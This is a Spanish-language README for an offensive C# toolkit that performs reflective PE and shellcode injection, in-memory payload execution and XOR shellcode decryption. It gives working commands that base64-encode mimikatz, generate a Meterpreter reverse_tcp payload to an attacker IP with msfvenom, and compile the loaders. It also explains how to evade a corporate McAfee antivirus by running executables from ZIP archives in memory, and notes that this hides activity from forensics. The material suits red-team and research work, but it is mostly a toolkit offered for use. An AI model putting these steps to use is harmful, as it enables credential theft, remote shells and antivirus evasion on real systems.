
Scripts ofensivos en C# para inyección reflectiva de PE y shellcode, ejecución de payloads en memoria, descifrado de shellcode mediante fuerza bruta XOR y análisis de ensamblados .NET.
Autor: Arno0x0x - @Arno0x0x
Este repositorio tiene como objetivo publicar algunos de mis scripts en C#. Algunos son simplemente bifurcaciones o están inspirados en otros scripts que encontré por ahí, y los adapté para que se ajustaran a mis necesidades o simplemente para aprender y mejorar.
bfDecryptShellcode.cs
Este script es una PoC un poco tonta y probablemente no muy útil de un descifrado por fuerza bruta de un shellcode cifrado con XOR multibyte. Una vez descifrado el shellcode, se carga en memoria y se ejecuta.
Para usarlo, necesitas dos cosas:
Puedes obtener ambos usando mi proyecto ShellcodeWrapper y alimentándolo con cualquier payload raw de metasploit.
parseAssembly.cs
Esta aplicación de consola cargará dinámicamente un ensamblado .Net (exe o dll), ya sea desde un archivo local o descargado desde una URL, opcionalmente codificado en base64. Una vez cargado, enumerará sus tipos, métodos y propiedades.
Ejemplos:
parseAssembly.exe myAssembly.dll
o
parseAssembly.exe http://some.site.com/myAssembly base64
Esta es una colección de scripts adaptados del trabajo de Casey Smith (@subTee) sobre la inyección reflexiva de PE o shellcode en el proceso llamador, a partir de diversas fuentes.
peloader.cs
Este script carga un archivo PE x64 codificado en base64 (por ejemplo: Mimikatz o un Meterpreter) en la memoria del proceso y lo ejecuta de forma reflexiva. El PE se pasa como una variable de cadena base64 al principio del archivo (sí, está codificado de forma fija).
Puedes generar esta cadena codificada en base64 a partir de cualquier archivo usando el siguiente comando de línea de comandos de *nix:
root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64
Compilar el script en una máquina Windows requiere el framework .Net (instalado por defecto en Windows 7 en adelante):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs
shellcodelauncher.cs
Este script ejecuta un shellcode en la memoria del proceso y lo ejecuta de forma reflexiva. El shellcode se pasa como un array de bytes en una variable. Puedes obtener el código adecuado para este array generado automáticamente con la utilidad msfvenom de Metasploit. Por ejemplo, para generar un shellcode de reverse_tcp meterpreter:
root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp
Compilar el script en una máquina Windows requiere el framework .Net (instalado por defecto en Windows 7 en adelante):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs
runfromzipinmemory.cs
Este script está basado, inspirado y derivado en gran medida y de forma vergonzosa del trabajo de Casey Smith (@subTee) sobre Netkatz.
Descubrí que el antivirus local (McAfee) en mi estación de trabajo corporativa está configurado para NO analizar el contenido de un archivo ZIP, probablemente bajo la suposición de que, siempre que este contenido vaya a ser leído o ejecutado, normalmente primero se extraería en algún lugar del disco, y cualquier cosa maliciosa en él sería detectada por el AV en ese momento.
Lo que hace este script es cargar todo en memoria y trabajar únicamente desde allí, usando también reflexión para ejecutar un PE desde la memoria del proceso llamador.
Así que no solo el AV no se queja en absoluto, sino que, desde una perspectiva forense, el único "proceso visiblemente en ejecución" parece perfectamente inocente.
Compilar el script en una máquina Windows requiere el framework .Net (instalado por defecto en Windows 7 en adelante):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs
A continuación, puede ejecutar:
unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>
netPEloader.cs
Este script está fuertemente basado e inspirado en el trabajo de Casey Smith (@subTee) sobre Netkatz.
Netkatz es una fantástica PoC para cargar la última versión de mimikatz desde GitHub y ejecutarla directamente en memoria. Sin embargo, me enfrenté a tres problemas en mi entorno:
Así que modifiqué el script netkatz original para abordar estos 3 problemas:
La URL desde la cual descargar el PE oculto está codificada de forma fija en el script.
Compilar el script en una máquina Windows requiere el framework .Net (instalado por defecto en Windows 7 en adelante):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs